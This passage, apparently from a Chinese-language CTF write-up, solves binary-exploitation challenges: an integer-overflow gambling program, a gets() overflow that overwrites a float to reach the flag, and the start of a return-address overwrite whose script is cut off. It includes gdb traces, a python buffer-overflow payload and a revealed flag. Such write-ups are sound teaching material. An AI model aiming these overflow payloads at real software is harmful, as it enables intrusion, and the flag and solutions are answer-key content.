else if ( v22 > 0 )
if ( v22 <= 100000000 )
if ( (unsigned __int8)gamble() ^ 1 )
LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
networth -= v22;
LODWORD(v21) = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations, you won!", v19);
std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
networth += v22;
LODWORD(v18) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Sorry, the most we can allow you to bet is $100,000,000",
v15);
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
LODWORD(v17) = std::operator<<<std::char_traits<char>>(&std::cout, "You must bet a positive amount", v15);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream((__int64)&v24);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v23);
printflag(v10, (__int64)&std::endl<char,std::char_traits<char>>, v11);
return 0;
}
整型溢出问题,大致先看了一下逻辑,只要满足networth > 2000000000就可以跳出while循环获取到flag,network是int类型的,而在:
if ( (unsigned __int8)gamble() ^ 1 )
LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
networth -= v22;
中并没有先判断network值是否小于0就直接相减,这样导致余额为负也还可以继续赌(和)博(谐):
32位下int类型: 4 byte = 32 bit 有符号signed范围:2^31-1 ~ -2^31 即:2147483647 ~ -2147483648,当我们的余额小于还小于-2147483648时就会溢出,而溢出处理是环形的,画个简图:
Doubly Dangerous
problem
There seems to be an issue with this binary . Can you exploit it? View the problem in the shell server /problems/doubly_dangerous directory.
solution
int __cdecl main(int argc, const char **argv, const char **envp)
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
puts("Success! Here is your flag:");
give_flag();
puts("nope!");
return 0;
我们要做的就是让if ( 11.28125 == v5 )成立,又使用了gets(),估计与溢出有关。 运行一下:
sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous
Give me a string:
nope!
sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous
Give me a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nope!
Segmentation fault (core dumped)
果然是溢出,于是gdb看一下:
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048607 <+0>: lea ecx,[esp+0x4]
0x0804860b <+4>: and esp,0xfffffff0
0x0804860e <+7>: push DWORD PTR [ecx-0x4]
0x08048611 <+10>: push ebp
0x08048612 <+11>: mov ebp,esp
0x08048614 <+13>: push ecx
0x08048615 <+14>: sub esp,0x54
0x08048618 <+17>: fldz
0x0804861a <+19>: fstp DWORD PTR [ebp-0xc]
0x0804861d <+22>: sub esp,0xc
0x08048620 <+25>: push 0x8048735
0x08048625 <+30>: call 0x8048410 <puts@plt>
0x0804862a <+35>: add esp,0x10
0x0804862d <+38>: sub esp,0xc
0x08048630 <+41>: lea eax,[ebp-0x4c]
0x08048633 <+44>: push eax
0x08048634 <+45>: call 0x80483e0 <gets@plt>
0x08048639 <+50>: add esp,0x10
0x0804863c <+53>: fld DWORD PTR [ebp-0xc]
0x0804863f <+56>: fld DWORD PTR ds:0x804876c
0x08048645 <+62>: fucomip st,st(1)
0x08048647 <+64>: jp 0x804866c <main+101>
---Type <return> to continue, or q <return> to quit---c
0x08048649 <+66>: fld DWORD PTR ds:0x804876c
0x0804864f <+72>: fucomip st,st(1)
0x08048651 <+74>: fstp st(0)
0x08048653 <+76>: jne 0x804866e <main+103>
0x08048655 <+78>: sub esp,0xc
0x08048658 <+81>: push 0x8048748
0x0804865d <+86>: call 0x8048410 <puts@plt>
0x08048662 <+91>: add esp,0x10
0x08048665 <+94>: call 0x804857b <give_flag>
0x0804866a <+99>: jmp 0x804867e <main+119>
0x0804866c <+101>: fstp st(0)
0x0804866e <+103>: sub esp,0xc
0x08048671 <+106>: push 0x8048764
0x08048676 <+111>: call 0x8048410 <puts@plt>
0x0804867b <+116>: add esp,0x10
0x0804867e <+119>: mov eax,0x0
0x08048683 <+124>: mov ecx,DWORD PTR [ebp-0x4]
0x08048686 <+127>: leave
0x08048687 <+128>: lea esp,[ecx-0x4]
0x0804868a <+131>: ret
End of assembler dump.
大致看了之后,看到其中的:
0x0804863c <+53>: fld DWORD PTR [ebp-0xc]
0x0804863f <+56>: fld DWORD PTR ds:0x804876c
0x08048645 <+62>: fucomip st,st(1)
根据题意就是溢出覆盖ebp-0xc的值使之和0x804876c所指的值相等。于是不断尝试输入查看ebp-0xc所指的值的变化,当输入64个A字符时没有覆盖:
(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x8048615
(gdb) r < 64A.txt
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 64A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x080486b1
当输入65个A字符时开始覆盖(A字符的ASCII码的十六进制是41):
(gdb) r < 65A.txt
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 65A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x08048641
接下再看一下0x804876c所指的值:
(gdb) x/wx 0x804876c
0x804876c: 0x41348000
于是构造payload:'A' * 64 + '\x00\x80\x34\x41'
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
Give me a string:
Success! Here is your flag:
easyctf{bofs_and_floats_are_d0uble_tr0uble!}
Simple Rop
problem
On the shell there is a folder /problems/simple-rop.
Read flag.txt
solution
// simple-rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
void print_flag();
void what_did_you_say();
int main(int argc, char* argv[])
gid_t gid = getegid();
setresgid(gid, gid, gid);
what_did_you_say();
return 0;
void print_flag()
system("cat flag.txt");
void what_did_you_say()
char buff[64];
gets(buff);
printf("You said: %s\n", buff);
看了源码,很显然要让我们调用print flag()函数,于是先gdb看一下print flag()函数的地址:
(gdb) disas print_flag
Dump of assembler code for function print_flag:
0x0804851a <+0>: push %ebp
0x0804851b <+1>: mov %esp,%ebp
0x0804851d <+3>: sub $0x8,%esp
0x08048520 <+6>: sub $0xc,%esp
0x08048523 <+9>: push $0x80485e0
0x08048528 <+14>: call 0x80483a0 <system@plt>
0x0804852d <+19>: add $0x10,%esp
0x08048530 <+22>: nop
0x08048531 <+23>: leave
0x08048532 <+24>: ret
End of assembler dump.
地址为:0x0804851a,缓存为64字符,所以写个shell脚本跑一下:
#!/bin/bash